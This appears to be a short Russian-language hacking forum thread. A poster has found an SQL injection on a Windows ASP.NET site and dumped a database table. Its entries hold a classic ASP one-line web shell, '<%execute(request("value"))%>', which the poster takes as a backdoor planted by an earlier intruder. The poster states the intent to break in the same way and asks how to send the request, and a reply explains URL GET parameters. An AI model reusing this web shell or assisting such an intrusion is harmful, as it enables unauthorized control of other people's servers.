Нашел sql на вин сервере, сайт на asp.net.
В базе есть таблица test а там:

Database: dbname
Table: test
[1 column]
+--------+-------+
| Column | Type |
+--------+-------+
| cmd | image |
+--------+-------+



А там уже есть:

Database: dbname
Table: test
[2 entries]
+-------------------------------+
| cmd |
+-------------------------------+
| <%execute(request("value"))%> |
| <%execute(request("value"))%> |
+-------------------------------+


Я так понимаю что ето уже ктото сдесь пролез и я хочу также попробыть, только немогу понять как отправить запрос

site.com/news.asp?ID=13&cmd= или как?

 

site.com/news.asp?ID=13&cmd=asd - .asp разширение запрашиваемого файла в урле = все что начинается с ?var= это get переменные принимаемые сервером - дальше амперсантом отделяются переменные и их значение через = соответственно

 

уже розобралса, ето чел остивил лазеяку если шелл удалять его.....а файл к которому он обращаетса я еще не нашел